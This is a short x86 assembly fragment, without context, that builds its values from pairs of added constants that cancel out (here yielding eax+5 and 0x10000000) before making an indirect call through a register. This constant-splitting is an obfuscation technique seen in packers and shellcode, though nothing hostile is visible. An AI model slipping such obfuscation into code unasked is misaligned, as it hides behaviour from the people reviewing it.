mov ebx, eax
add eax, 0xa5db8060
add eax, 0x5a247fa5
mov ecx, 0x214348e2
add ecx, 0xeebcb71e
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret